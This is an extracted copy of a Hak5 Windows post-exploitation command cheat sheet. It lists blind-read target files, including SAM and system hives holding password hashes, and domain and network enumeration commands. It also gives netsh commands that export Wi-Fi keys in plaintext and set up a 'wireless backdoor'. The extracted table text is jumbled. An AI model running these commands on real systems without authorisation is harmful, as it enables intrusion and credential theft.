hak5.org_WindowsPost-ExploitationCommandList_copy-20130228.pdf

(189 KB) Pobierz
Windows Post­Exploitation
Command Execution
If for any reason you cannot access/edit these files in the future, please contact
mubix@hak5.org
You can download these files in any format using Google Doc’s
File­>Download As method
If you are viewing this on anything other than Google Docs then you can get
access to the latest links to the Linux/Unix/BSD, OS X, Obscure, Metasploit, and
Windows here: http://bit.ly/nuc0N0
DISCLAIMER: Anyone can edit these docs, and all that entails and implies
Windows Post Exploitation Command List ­ Page: 1
Table of Contents
Presence
Blind Files
System
Networking (ipconfig, netstat, net)
Configs
Finding Important Files
Files To Pull (if possible)
Remote System Access
Auto­Start Directories
Persistance
Binary Planting
WMI
Reg Command exit
Deleting Logs
Uninstalling Software “AntiVirus” (Non interactive)
# Other  (to be sorted)
Vista/7
Vista SP1/7/2008/2008R2 (x86 & x64)
Invasive or Altering Commands
Support Tools Binaries / Links / Usage
Third Party Portable Tools
Windows Post Exploitation Command List ­ Page: 2
Presence
This section focuses on information gathering about the victim host and the network that it’s attached to.
Blind Files
(Things to pull when all you can do is to blindly read) LFI/Directory traversal(s) or remote file share
instances like SMB/FTP/NFS or otherwise.. Files that will have the same name across networks /
Windows domains / systems.
File
%SYSTEMDRIVE%\boot.ini
Expected Contents / Description
A file that can be counted on to be on virtually every
windows host. Helps with confirmation that a read
is happening.
This is another file to look for if boot.ini isn’t there or
coming back, which is sometimes the case.
It stores users' passwords in a hashed format (in
LM hash and NTLM hash). The SAM file in \repair is
locked, but can be retired using forensic or Volume
Shadow copy methods
%WINDIR%\win.ini
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\co
nfig\RegBack\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\co
nfig\RegBack\system
>insert new rows above this line<
SEE IMPORTANT FILES SECTION FOR MORE
IDEAS
System
Command
whoami
Expected Output or Description
Lists your current user. Not present in all versions of Windows; however
shall be present in Windows NT 6.0­6.1.
whoami /all
set
Lists current user, sid, groups current user is a member of and their
sids as well as current privilege level.
Shows all current environmental variables. Specific ones to look for are
USERDOMAIN, USERNAME, USERPROFILE, HOMEPATH,
Windows Post Exploitation Command List ­ Page: 3
LOGONSERVER, COMPUTERNAME, APPDATA, and
ALLUSERPROFILE.
fsutil fsinfo drives
reg query HKLM /s /d /f "C:\*
*.exe" | find /I "C:\" | find /V """"
Must be an administrator to run this, but it lists the current drives on the
system.
curely registered executables within the system registry on Windows 7.
Networking (ipconfig, netstat, net)
Command
ipconfig /all
ipconfig /displaydns
netstat ­nabo
netstat ­r
netstat ­na | findstr :445
Expected Output or Description
Displays the full information about your NIC’s.
Displays your local DNS cache.
Lists ports / connections with corresponding process (­b), don’t
perform looking (­n), all connections (­a) and owning process ID (­o)
Displays the routing table
Find all listening ports and connections on port 445
netstat ­nao | findstr LISTENING Find all LISTENING ports and their associated PIDs
netsh diag show all
net view
net view /domain
net view /domain:otherdomain
net user %USERNAME%
/domain
{XP only} Shows information on network services and adapters
Queries NBNS/SMB (SAMBA) and tries to find all hosts in your
current workgroup or domain.
List all domains available to the host
Queries NBNS/SMB (SAMBA) and tries to find all hosts in the
‘otherdomain’
Pulls information on the current user, if they are a domain user. If you
are a local user then you just drop the /domain. Important things to
note are login times, last time changed password, logon scripts, and
group membership
Lists all of the domain users
Prints the password policy for the local system. This can be different
and superseded by the doaimn policy.
Prints the password policy for the domain
Prints the members of the Administrators local group
as this was supposed to use localgroup & domain, this actually
Windows Post Exploitation Command List ­ Page: 4
net user /domain
net accounts
net accounts /domain
net localgroup administrators
net localgroup administrators
/domain
net group “Domain Admins”
/domain
net group “Enterprise Admins”
/domain
net group “Domain Controllers”
/domain
net share
net session | find / “\\”
arp ­a
route print
another way of getting *current* domain admins
Prints the members of the Domain Admins group
Prints the members of the Enterprise Admins group
Prints the list of Domain Controllers for the current domain
Displays your currently shared SMB entries, and what path(s) they
point to
Lists all the systems currently in the machine’s ARP table.
Prints the machine’s routing table. This can be good for
finding other networks and static routes that have been put in
place
browstat (Not working on XP)
netsh wlan show profiles
netsh wlan export profile
folder=. key=clear
netsh wlan [start|stop]
hostednetwork
netsh wlan set hostednetwork
ssid=<ssid>
key=<passphrase>
keyUsage=persistent|temporary
netsh wlan set hostednetwork
mode=[allow|disallow]
wmic ntdomain list
shows all saved wireless profiles. You may then export the
info for those profiles with the command below
exports a user wifi profile with the password in plaintext to an
xml file in the current working directory
Starts or stops a wireless backdoor on a windows 7 pc
Complete hosted network setup for creating a wireless
backdoor on win 7
enables or disables hosted network service
Retrieve information about Domain and Domain Controller
http://www.securityaegis.com/ntsd­backdoor/
Configs
Windows Post Exploitation Command List ­ Page: 5
Zgłoś jeśli naruszono regulamin